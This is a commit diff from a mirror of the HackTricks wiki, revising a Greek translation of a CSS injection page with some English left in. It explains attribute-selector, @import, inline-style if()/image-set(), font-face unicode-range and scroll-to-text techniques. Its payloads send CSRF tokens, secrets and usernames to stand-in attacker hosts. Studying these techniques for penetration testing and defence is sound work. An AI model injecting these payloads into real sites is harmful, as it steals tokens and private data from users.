mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']
This commit is contained in:
parent
f1e9492422
commit
ecb42d1c32
@ -4,9 +4,9 @@
|
||||
|
||||
## CSS Injection
|
||||
|
||||
### Επιλογέας Χαρακτηριστικού
|
||||
### Attribute Selector
|
||||
|
||||
Οι επιλεγείς CSS είναι σχεδιασμένοι να ταιριάζουν με τις τιμές των χαρακτηριστικών `name` και `value` ενός στοιχείου `input`. Εάν η τιμή του χαρακτηριστικού του στοιχείου εισόδου αρχίζει με έναν συγκεκριμένο χαρακτήρα, φορτώνεται ένας προκαθορισμένος εξωτερικός πόρος:
|
||||
Οι CSS selectors κατασκευάζονται για να ταιριάζουν με τις τιμές των attributes `name` και `value` ενός στοιχείου `input`. Αν το attribute `value` του στοιχείου `input` ξεκινά με έναν συγκεκριμένο χαρακτήρα, φορτώνεται ένας προκαθορισμένος εξωτερικός πόρος:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
|
||||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει έναν περιορισμό όταν ασχολείται με κρυφά στοιχεία εισόδου (`type="hidden"`) επειδή τα κρυφά στοιχεία δεν φορτώνουν φόντα.
|
||||
Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει έναν περιορισμό όταν έχουμε να κάνουμε με κρυφά στοιχεία input (`type="hidden"`), επειδή τα κρυφά στοιχεία δεν φορτώνουν εικόνες φόντου.
|
||||
|
||||
#### Παράκαμψη για Κρυφά Στοιχεία
|
||||
|
||||
Για να παρακάμψετε αυτόν τον περιορισμό, μπορείτε να στοχεύσετε ένα επόμενο αδελφό στοιχείο χρησιμοποιώντας τον γενικό συνδυαστή αδελφών `~`. Ο κανόνας CSS στη συνέχεια εφαρμόζεται σε όλα τα αδέλφια που ακολουθούν το κρυφό στοιχείο εισόδου, προκαλώντας τη φόρτωση της εικόνας φόντου:
|
||||
Για να παρακαμφθεί αυτός ο περιορισμός, μπορείτε να στοχεύσετε ένα επόμενο αδελφικό στοιχείο χρησιμοποιώντας τον `~` γενικό συνδυαστή αδελφικού στοιχείου. Ο κανόνας CSS εφαρμόζεται τότε σε όλα τα αδελφικά στοιχεία που ακολουθούν το κρυφό στοιχείο input, προκαλώντας τη φόρτωση της εικόνας φόντου:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής περιγράφεται στο παρεχόμενο απόσπασμα κώδικα. Μπορείτε να το δείτε [εδώ](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής περιγράφεται στο παρεχόμενο απόσπασμα κώδικα. Μπορείτε να το δείτε [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
|
||||
#### Προαπαιτούμενα για CSS Injection
|
||||
|
||||
Για να είναι αποτελεσματική η τεχνική CSS Injection, πρέπει να πληρούνται ορισμένες προϋποθέσεις:
|
||||
|
||||
1. **Μήκος Payload**: Ο φορέας CSS injection πρέπει να υποστηρίζει επαρκώς μεγάλα payloads για να φιλοξενήσει τους κατασκευασμένους επιλεγείς.
|
||||
2. **Επαναξιολόγηση CSS**: Πρέπει να έχετε τη δυνατότητα να πλαισιώσετε τη σελίδα, κάτι που είναι απαραίτητο για να ενεργοποιηθεί η επαναξιολόγηση του CSS με τα νεοπαραγόμενα payloads.
|
||||
3. **Εξωτερικοί Πόροι**: Η τεχνική υποθέτει τη δυνατότητα χρήσης εξωτερικά φιλοξενούμενων εικόνων. Αυτό μπορεί να περιορίζεται από την Πολιτική Ασφαλείας Περιεχομένου (CSP) της ιστοσελίδας.
|
||||
1. **Payload Length**: Ο CSS injection vector πρέπει να υποστηρίζει επαρκώς μακρά payloads ώστε να χωράνε οι crafted selectors.
|
||||
2. **CSS Re-evaluation**: Πρέπει να έχετε τη δυνατότητα να frame-άρετε τη σελίδα, κάτι που είναι απαραίτητο για να ενεργοποιηθεί η επανααξιολόγηση του CSS με νεοδημιουργημένα payloads.
|
||||
3. **External Resources**: Η τεχνική προϋποθέτει τη δυνατότητα χρήσης εικόνων που φιλοξενούνται εξωτερικά. Αυτό μπορεί να περιορίζεται από την Content Security Policy (CSP) του site.
|
||||
|
||||
### Blind Attribute Selector
|
||||
|
||||
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://portswigger.net/research/blind-css-exfiltration), είναι δυνατόν να συνδυαστούν οι επιλεγείς **`:has`** και **`:not`** για να εντοπιστεί περιεχόμενο ακόμη και από τυφλά στοιχεία. Αυτό είναι πολύ χρήσιμο όταν δεν έχετε ιδέα τι υπάρχει μέσα στη σελίδα που φορτώνει το CSS injection.\
|
||||
Είναι επίσης δυνατό να χρησιμοποιηθούν αυτοί οι επιλεγείς για να εξαχθεί πληροφορία από αρκετά μπλοκ του ίδιου τύπου όπως σε:
|
||||
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
|
||||
It's also possible to use those selectors to extract information from several block of the same type like in:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
@ -52,59 +52,95 @@ background: url(/m);
|
||||
<input name="mytoken" value="1337" />
|
||||
<input name="myname" value="gareth" />
|
||||
```
|
||||
Συνδυάζοντας αυτό με την παρακάτω τεχνική **@import**, είναι δυνατόν να εξάγουμε πολλές **πληροφορίες χρησιμοποιώντας CSS injection από τυφλές σελίδες με** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
Συνδυάζοντας αυτό με την ακόλουθη τεχνική **@import**, είναι δυνατό να εξαχθούν πολλές **πληροφορίες χρησιμοποιώντας CSS injection από blind pages με** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
Η προηγούμενη τεχνική έχει κάποια μειονεκτήματα, ελέγξτε τις προϋποθέσεις. Πρέπει είτε να μπορείτε να **στείλετε πολλαπλούς συνδέσμους στο θύμα**, είτε να μπορείτε να **iframe την ευάλωτη σελίδα CSS injection**.
|
||||
Η προηγούμενη τεχνική έχει ορισμένα μειονεκτήματα — έλεγξε τις προϋποθέσεις. Είτε πρέπει να μπορείς να **στείλεις πολλούς συνδέσμους στο θύμα**, είτε να μπορείς να **iframe the CSS injection vulnerable page**.
|
||||
|
||||
Ωστόσο, υπάρχει μια άλλη έξυπνη τεχνική που χρησιμοποιεί **CSS `@import`** για να βελτιώσει την ποιότητα της τεχνικής.
|
||||
Ωστόσο, υπάρχει μια άλλη έξυπνη τεχνική που χρησιμοποιεί **CSS `@import`** για να βελτιώσει την αποτελεσματικότητα της τεχνικής.
|
||||
|
||||
Αυτό παρουσιάστηκε πρώτα από [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) και λειτουργεί ως εξής:
|
||||
|
||||
Αντί να φορτώνουμε την ίδια σελίδα ξανά και ξανά με δεκάδες διαφορετικά payloads κάθε φορά (όπως στην προηγούμενη), θα **φορτώσουμε τη σελίδα μόνο μία φορά και μόνο με μια εισαγωγή στον διακομιστή του επιτιθέμενου** (αυτό είναι το payload που θα στείλουμε στο θύμα):
|
||||
Αντί να φορτώνουμε την ίδια σελίδα ξανά και ξανά με δεκάδες διαφορετικά payloads κάθε φορά (όπως στην προηγούμενη μέθοδο), πρόκειται να **φορτώσουμε τη σελίδα μόνο μια φορά και μόνο με ένα import προς τον server του επιτιθέμενου** (αυτό είναι το payload που θα σταλεί στο θύμα):
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. Η εισαγωγή θα **λάβει κάποιο CSS script** από τους επιτιθέμενους και ο **περιηγητής θα το φορτώσει**.
|
||||
2. Το πρώτο μέρος του CSS script που θα στείλει ο επιτιθέμενος είναι **άλλη `@import` στον διακομιστή των επιτιθέμενων ξανά.**
|
||||
1. Ο διακομιστής των επιτιθέμενων δεν θα απαντήσει σε αυτή την αίτηση ακόμα, καθώς θέλουμε να διαρρεύσουν μερικοί χαρακτήρες και στη συνέχεια να απαντήσει αυτή την εισαγωγή με το payload για να διαρρεύσουν τους επόμενους.
|
||||
3. Το δεύτερο και μεγαλύτερο μέρος του payload θα είναι ένα **payload διαρροής επιλεγέα χαρακτηριστικών**
|
||||
1. Αυτό θα στείλει στον διακομιστή των επιτιθέμενων τον **πρώτο χαρακτήρα του μυστικού και τον τελευταίο.**
|
||||
4. Μόλις ο διακομιστής των επιτιθέμενων λάβει τον **πρώτο και τελευταίο χαρακτήρα του μυστικού**, θα **απαντήσει στην εισαγωγή που ζητήθηκε στο βήμα 2**.
|
||||
1. Η απάντηση θα είναι ακριβώς η ίδια με τα **βήματα 2, 3 και 4**, αλλά αυτή τη φορά θα προσπαθήσει να **βρει τον δεύτερο χαρακτήρα του μυστικού και στη συνέχεια τον προτελευταίο**.
|
||||
1. Το import πρόκειται να **λάβει κάποιο CSS script** από τους attackers και ο **browser θα το φορτώσει**.
|
||||
2. Το πρώτο μέρος του CSS script που θα στείλει ο attacker είναι **άλλο ένα `@import` προς τον attackers server ξανά.**
|
||||
1. Ο attackers server δεν θα απαντήσει ακόμα σε αυτό το request, καθώς θέλουμε να leak μερικά chars και μετά να απαντήσουμε αυτό το import με το payload για να leakάρουμε τα επόμενα.
|
||||
3. Το δεύτερο και μεγαλύτερο μέρος του payload θα είναι ένα **attribute selector leakage payload**
|
||||
1. Αυτό θα στείλει στον attackers server τον **πρώτο char του secret και τον τελευταίο**
|
||||
4. Μόλις ο attackers server λάβει τους **πρώτο και τελευταίο char του secret**, θα **απαντήσει στο import που ζητήθηκε στο βήμα 2**.
|
||||
1. Η response θα είναι ακριβώς η ίδια με τα **βήματα 2, 3 και 4**, αλλά αυτή τη φορά θα προσπαθήσει να **βρει τον δεύτερο char του secret και μετά τον προτελευταίο**.
|
||||
|
||||
Ο επιτιθέμενος θα **ακολουθήσει αυτόν τον βρόχο μέχρι να καταφέρει να διαρρεύσει εντελώς το μυστικό**.
|
||||
Ο attacker θα f**ollow that loop until it manages to leak completely the secret**.
|
||||
|
||||
Μπορείτε να βρείτε τον αρχικό [**κώδικα του Pepe Vila για να εκμεταλλευτείτε αυτό εδώ**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ή μπορείτε να βρείτε σχεδόν τον [**ίδιο κώδικα αλλά με σχόλια εδώ**.](#css-injection)
|
||||
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
|
||||
|
||||
> [!NOTE]
|
||||
> Το script θα προσπαθήσει να ανακαλύψει 2 χαρακτήρες κάθε φορά (από την αρχή και από το τέλος) επειδή ο επιλεγέας χαρακτηριστικών επιτρέπει να γίνονται πράγματα όπως:
|
||||
> [!TIP]
|
||||
> Το script θα προσπαθήσει να ανακαλύψει 2 chars κάθε φορά (από την αρχή και από το τέλος) επειδή ο attribute selector επιτρέπει να γίνουν πράγματα όπως:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= για να ταιριάζει με την αρχή της τιμής */
|
||||
> /* value^= to match the beggining of the value*/
|
||||
> input[value^="0"] {
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> }
|
||||
>
|
||||
> /* value$= για να ταιριάζει με το τέλος της τιμής */
|
||||
> /* value$= to match the ending of the value*/
|
||||
> input[value$="f"] {
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Αυτό επιτρέπει στο script να διαρρεύσει το μυστικό πιο γρήγορα.
|
||||
> Αυτό επιτρέπει στο script να leakάρει το secret πιο γρήγορα.
|
||||
|
||||
> [!WARNING]
|
||||
> Μερικές φορές το script **δεν ανιχνεύει σωστά ότι ο προθέτης + επίθημα που ανακαλύφθηκε είναι ήδη η πλήρης σημαία** και θα συνεχίσει προς τα εμπρός (στον προθέτη) και προς τα πίσω (στον επίθημα) και σε κάποιο σημείο θα κολλήσει.\
|
||||
> Μην ανησυχείτε, απλώς ελέγξτε την **έξοδο** γιατί **μπορείτε να δείτε τη σημαία εκεί**.
|
||||
> Μερικές φορές το script **δεν ανιχνεύει σωστά ότι το prefix + suffix που έχει ανακαλυφθεί είναι ήδη το πλήρες flag** και θα συνεχίσει προς τα εμπρός (στο prefix) και προς τα πίσω (στο suffix) και σε κάποιο σημείο θα κολλήσει.\
|
||||
> Χωρίς ανησυχία, απλώς έλεγξε το **output** γιατί **μπορείς να δεις το flag εκεί**.
|
||||
|
||||
### Άλλοι επιλεγείς
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
|
||||
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
|
||||
|
||||
> [!WARNING]
|
||||
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
|
||||
|
||||
- Sink: έλεγξε το element's style attribute και βεβαιώσου ότι το target attribute είναι στο ίδιο element (attr() διαβάζει μόνο same-element attributes).
|
||||
- Read: αντιγράψε το attribute σε μια CSS μεταβλητή: `--val: attr(title)`.
|
||||
- Decide: επίλεξε ένα URL χρησιμοποιώντας nested conditionals που συγκρίνουν τη μεταβλητή με string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: εφάρμοσε `background: image-set(var(--steal))` (ή οποιαδήποτε fetching property) για να αναγκάσεις ένα request στο επιλεγμένο endpoint.
|
||||
|
||||
Attempt (does not work; single quotes in comparison):
|
||||
```html
|
||||
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
|
||||
```
|
||||
Λειτουργικό payload (απαιτούνται διπλά εισαγωγικά στη σύγκριση):
|
||||
```html
|
||||
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
||||
```
|
||||
Απαρίθμηση τιμών ιδιοτήτων με εμφωλευμένες συνθήκες:
|
||||
```html
|
||||
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
||||
```
|
||||
Ρεαλιστική επίδειξη (ανίχνευση ονομάτων χρήστη):
|
||||
```html
|
||||
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
|
||||
```
|
||||
Σημειώσεις και περιορισμοί:
|
||||
|
||||
- Λειτουργεί σε Chromium-based browsers κατά τη στιγμή της έρευνας· η συμπεριφορά μπορεί να διαφέρει σε άλλους engines.
|
||||
- Κατάλληλο κυρίως για finite/enumerable value spaces (IDs, flags, short usernames). Το να κλαπεί αυθαίρετα μεγάλα strings χωρίς εξωτερικά stylesheets παραμένει δύσκολο.
|
||||
- Οποιαδήποτε CSS ιδιότητα που fetch ένα URL μπορεί να χρησιμοποιηθεί για να ενεργοποιήσει το request (π.χ., background/image-set, border-image, list-style, cursor, content).
|
||||
|
||||
Αυτοματοποίηση: μια Burp Custom Action μπορεί να δημιουργήσει nested inline-style payloads για brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### Άλλοι selectors
|
||||
|
||||
Άλλοι τρόποι πρόσβασης σε μέρη του DOM με **CSS selectors**:
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: Αυτό θα αναζητήσει το δεύτερο στοιχείο με την κλάση "class-to-search" στο DOM.
|
||||
- **`:empty`** selector: Χρησιμοποιείται για παράδειγμα σε [**αυτή τη γραφή**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
- **`.class-to-search:nth-child(2)`**: Αυτό θα αναζητήσει το δεύτερο item με class "class-to-search" στο DOM.
|
||||
- **`:empty`** selector: Χρησιμοποιείται, για παράδειγμα, στο [**this writeup**]**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty {
|
||||
@ -112,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### Error based XS-Search
|
||||
### XS-Search βάσει σφαλμάτων
|
||||
|
||||
**Αναφορά:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
Η γενική πρόθεση είναι να **χρησιμοποιήσετε μια προσαρμοσμένη γραμματοσειρά από ένα ελεγχόμενο endpoint** και να διασφαλίσετε ότι **το κείμενο (σε αυτή την περίπτωση, 'A') εμφανίζεται με αυτή τη γραμματοσειρά μόνο αν ο καθορισμένος πόρος (`favicon.ico`) δεν μπορεί να φορτωθεί**.
|
||||
Ο γενικός σκοπός είναι να **χρησιμοποιηθεί ένα custom font από ένα ελεγχόμενο endpoint** και να διασφαλιστεί ότι **το κείμενο (στην προκειμένη περίπτωση, 'A') εμφανίζεται με αυτή τη γραμματοσειρά μόνο αν ο συγκεκριμένος πόρος (`favicon.ico`) δεν μπορεί να φορτωθεί**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -138,49 +174,49 @@ font-family: "poc";
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
1. **Χρήση Προσαρμοσμένης Γραμματοσειράς**:
|
||||
1. **Χρήση προσαρμοσμένης γραμματοσειράς**:
|
||||
|
||||
- Μια προσαρμοσμένη γραμματοσειρά ορίζεται χρησιμοποιώντας τον κανόνα `@font-face` μέσα σε ένα `<style>` tag στην ενότητα `<head>`.
|
||||
- Η γραμματοσειρά ονομάζεται `poc` και ανακτάται από ένα εξωτερικό endpoint (`http://attacker.com/?leak`).
|
||||
- Η ιδιότητα `unicode-range` έχει οριστεί σε `U+0041`, στοχεύοντας τον συγκεκριμένο χαρακτήρα Unicode 'A'.
|
||||
- Η ιδιότητα `unicode-range` ορίζεται σε `U+0041`, στοχεύοντας τον συγκεκριμένο χαρακτήρα Unicode 'A'.
|
||||
|
||||
2. **Στοιχείο Object με Κείμενο Εναλλακτικής**:
|
||||
- Ένα στοιχείο `<object>` με `id="poc0"` δημιουργείται στην ενότητα `<body>`. Αυτό το στοιχείο προσπαθεί να φορτώσει μια πηγή από `http://192.168.0.1/favicon.ico`.
|
||||
- Η `font-family` για αυτό το στοιχείο έχει οριστεί σε `'poc'`, όπως ορίζεται στην ενότητα `<style>`.
|
||||
- Εάν η πηγή (`favicon.ico`) αποτύχει να φορτωθεί, το περιεχόμενο εναλλακτικής (το γράμμα 'A') μέσα στο tag `<object>` εμφανίζεται.
|
||||
- Το περιεχόμενο εναλλακτικής ('A') θα αποδοθεί χρησιμοποιώντας την προσαρμοσμένη γραμματοσειρά `poc` εάν η εξωτερική πηγή δεν μπορεί να φορτωθεί.
|
||||
2. **Στοιχείο Object με Κείμενο Εφεδρείας**:
|
||||
- Ένα `<object>` στοιχείο με `id="poc0"` δημιουργείται στην ενότητα `<body>`. Το στοιχείο αυτό προσπαθεί να φορτώσει έναν πόρο από `http://192.168.0.1/favicon.ico`.
|
||||
- Το `font-family` για αυτό το στοιχείο έχει οριστεί σε `'poc'`, όπως ορίζεται στην ενότητα `<style>`.
|
||||
- Εάν ο πόρος (`favicon.ico`) αποτύχει να φορτωθεί, το εφεδρικό περιεχόμενο (το γράμμα 'A') μέσα στο `<object>` tag εμφανίζεται.
|
||||
- Το εφεδρικό περιεχόμενο ('A') θα αποδοθεί χρησιμοποιώντας την προσαρμοσμένη γραμματοσειρά `poc` εάν ο εξωτερικός πόρος δεν μπορεί να φορτωθεί.
|
||||
|
||||
### Στυλ Scroll-to-Text Fragment
|
||||
### Στυλιζάρισμα Scroll-to-Text Fragment
|
||||
|
||||
Η **`:target`** ψευδο-κλάση χρησιμοποιείται για να επιλέξει ένα στοιχείο που στοχεύεται από ένα **URL fragment**, όπως καθορίζεται στην [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Είναι κρίσιμο να κατανοήσουμε ότι το `::target-text` δεν ταιριάζει με κανένα στοιχείο εκτός αν το κείμενο στοχεύεται ρητά από το fragment.
|
||||
Η ψευδο-κλάση **`:target`** χρησιμοποιείται για να επιλέξει ένα στοιχείο που στοχεύεται από ένα **URL fragment**, όπως καθορίζεται στην [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Είναι σημαντικό να κατανοήσουμε ότι το `::target-text` δεν ταιριάζει με κανένα στοιχείο εκτός αν το κείμενο στοχευθεί ρητά από το fragment.
|
||||
|
||||
Ένα ζήτημα ασφαλείας προκύπτει όταν οι επιτιθέμενοι εκμεταλλεύονται τη δυνατότητα **Scroll-to-text** fragment, επιτρέποντάς τους να επιβεβαιώσουν την παρουσία συγκεκριμένου κειμένου σε μια ιστοσελίδα φορτώνοντας μια πηγή από τον διακομιστή τους μέσω HTML injection. Η μέθοδος περιλαμβάνει την έγχυση ενός κανόνα CSS όπως αυτός:
|
||||
Προκύπτει ένα ζήτημα ασφάλειας όταν επιτιθέμενοι εκμεταλλεύονται τη λειτουργία **Scroll-to-text** fragment, επιτρέποντάς τους να επιβεβαιώσουν την παρουσία συγκεκριμένου κειμένου σε μια ιστοσελίδα φορτώνοντας έναν πόρο από τον server τους μέσω HTML injection. Η μέθοδος περιλαμβάνει την έγχυση ενός CSS κανόνα όπως ο εξής:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
Σε τέτοιες περιπτώσεις, αν το κείμενο "Administrator" είναι παρόν στη σελίδα, το πόρο `target.png` ζητείται από τον διακομιστή, υποδεικνύοντας την παρουσία του κειμένου. Μια περίπτωση αυτής της επίθεσης μπορεί να εκτελεστεί μέσω μιας ειδικά κατασκευασμένης διεύθυνσης URL που ενσωματώνει το εισαγόμενο CSS μαζί με ένα τμήμα Scroll-to-text:
|
||||
Σε τέτοια σενάρια, αν το κείμενο "Διαχειριστής" υπάρχει στη σελίδα, ο πόρος `target.png` ζητείται από τον διακομιστή, υποδεικνύοντας την παρουσία του κειμένου. Μια περίπτωση αυτής της επίθεσης μπορεί να εκτελεστεί μέσω ενός ειδικά κατασκευασμένου URL που ενσωματώνει το εγχυμένο CSS μαζί με ένα Scroll-to-text fragment:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Εδώ, η επίθεση χειρίζεται την HTML injection για να μεταδώσει τον CSS κώδικα, στοχεύοντας στο συγκεκριμένο κείμενο "Administrator" μέσω του Scroll-to-text fragment (`#:~:text=Administrator`). Εάν βρεθεί το κείμενο, το υποδεικνυόμενο πόρο φορτώνεται, ακούσια σηματοδοτώντας την παρουσία του στον επιτιθέμενο.
|
||||
Εδώ, η επίθεση χειρίζεται HTML injection για να μεταδώσει τον CSS κώδικα, στοχεύοντας το συγκεκριμένο κείμενο "Administrator" μέσω του Scroll-to-text fragment (`#:~:text=Administrator`). Αν βρεθεί το κείμενο, ο υποδεικνυόμενος πόρος φορτώνεται, σηματοδοτώντας άθελά του την παρουσία του στον επιτιθέμενο.
|
||||
|
||||
Για την αντιμετώπιση, θα πρέπει να σημειωθούν τα εξής σημεία:
|
||||
Για την μετρίαση, πρέπει να σημειωθούν τα παρακάτω:
|
||||
|
||||
1. **Περιορισμένη Αντιστοίχιση STTF**: Το Scroll-to-text Fragment (STTF) έχει σχεδιαστεί για να ταιριάζει μόνο με λέξεις ή προτάσεις, περιορίζοντας έτσι την ικανότητά του να διαρρέει αυθαίρετα μυστικά ή tokens.
|
||||
2. **Περιορισμός σε Κορυφαία Στοιχεία Πλοήγησης**: Το STTF λειτουργεί αποκλειστικά σε κορυφαία στοιχεία πλοήγησης και δεν λειτουργεί εντός iframes, καθιστώντας οποιαδήποτε προσπάθεια εκμετάλλευσης πιο εμφανή στον χρήστη.
|
||||
3. **Αναγκαιότητα Ενεργοποίησης από τον Χρήστη**: Το STTF απαιτεί μια χειρονομία ενεργοποίησης από τον χρήστη για να λειτουργήσει, πράγμα που σημαίνει ότι οι εκμεταλλεύσεις είναι εφικτές μόνο μέσω πλοηγήσεων που ξεκινούν από τον χρήστη. Αυτή η απαίτηση μειώνει σημαντικά τον κίνδυνο αυτοματοποιημένων επιθέσεων χωρίς αλληλεπίδραση του χρήστη. Παρ' όλα αυτά, ο συγγραφέας της ανάρτησης επισημαίνει συγκεκριμένες συνθήκες και παρακάμψεις (π.χ. κοινωνική μηχανική, αλληλεπίδραση με διαδεδομένα πρόσθετα προγράμματος περιήγησης) που θα μπορούσαν να διευκολύνουν την αυτοματοποίηση της επίθεσης.
|
||||
1. **Constrained STTF Matching**: Το Scroll-to-text Fragment (STTF) έχει σχεδιαστεί να αντιστοιχίζει μόνο λέξεις ή προτάσεις, περιορίζοντας έτσι την ικανότητά του να leak αυθαίρετα μυστικά ή tokens.
|
||||
2. **Restriction to Top-level Browsing Contexts**: Το STTF λειτουργεί μόνο σε top-level browsing contexts και δεν λειτουργεί μέσα σε iframes, καθιστώντας οποιαδήποτε προσπάθεια εκμετάλλευσης πιο εμφανή στον χρήστη.
|
||||
3. **Necessity of User Activation**: Το STTF απαιτεί μια user-activation gesture για να λειτουργήσει, που σημαίνει ότι οι εκμεταλλεύσεις είναι δυνατές μόνο μέσω πλοηγήσεων που ξεκινά ο χρήστης. Αυτό το απαίτημα μειώνει σημαντικά τον κίνδυνο οι επιθέσεις να αυτοματοποιηθούν χωρίς αλληλεπίδραση χρήστη. Ωστόσο, ο συγγραφέας του blog post επισημαίνει συγκεκριμένες συνθήκες και bypasses (π.χ. social engineering, interaction with prevalent browser extensions) που μπορεί να διευκολύνουν την αυτοματοποίηση της επίθεσης.
|
||||
|
||||
Η επίγνωση αυτών των μηχανισμών και των πιθανών ευπαθειών είναι το κλειδί για τη διατήρηση της ασφάλειας του ιστού και την προστασία από τέτοιες εκμεταλλευτικές τακτικές.
|
||||
Η επίγνωση αυτών των μηχανισμών και των πιθανών ευπαθειών είναι κρίσιμη για τη διατήρηση της ασφάλειας στο web και για την προστασία ενάντια σε τέτοιες εκμεταλλευτικές τακτικές.
|
||||
|
||||
Για περισσότερες πληροφορίες, ελέγξτε την αρχική αναφορά: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
Για περισσότερες πληροφορίες δείτε την πρωτότυπη αναφορά: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Μπορείτε να ελέγξετε μια [**εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική για ένα CTF εδώ**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
Μπορείτε να δείτε ένα [**exploit που χρησιμοποιεί αυτή την τεχνική για CTF εδώ**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Μπορείτε να καθορίσετε **εξωτερικές γραμματοσειρές για συγκεκριμένες τιμές unicode** που θα **συγκεντρωθούν μόνο εάν αυτές οι τιμές unicode είναι παρούσες** στη σελίδα. Για παράδειγμα:
|
||||
Μπορείτε να καθορίσετε **εξωτερικές γραμματοσειρές για συγκεκριμένες unicode τιμές** που θα συλλεχθούν μόνο εάν αυτές οι unicode τιμές είναι παρούσες στη σελίδα. Για παράδειγμα:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -206,25 +242,25 @@ font-family: poc;
|
||||
<p id="sensitive-information">AB</p>
|
||||
htm
|
||||
```
|
||||
